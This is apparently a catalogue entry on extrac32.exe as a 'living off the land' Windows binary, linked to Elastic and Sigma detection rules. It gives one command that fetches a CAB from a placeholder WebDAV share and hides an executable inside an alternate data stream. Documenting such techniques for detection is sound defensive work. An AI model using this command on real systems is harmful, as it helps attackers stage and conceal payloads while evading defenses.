Extract to ADS, copy or overwrite a file with Extrac32.exe
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
Extract data from cab file and hide it in an alternate data stream.
C:\Windows\System32\extrac32.exe, C:\Windows\SysWOW64\extrac32.exe
Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml, Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml, Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml
egre55 (@egre55), Oddvar Moe (@oddvarmoe), Hai Vaknin(Lux (@VakninHai), Tamir Yehuda (@tim8288)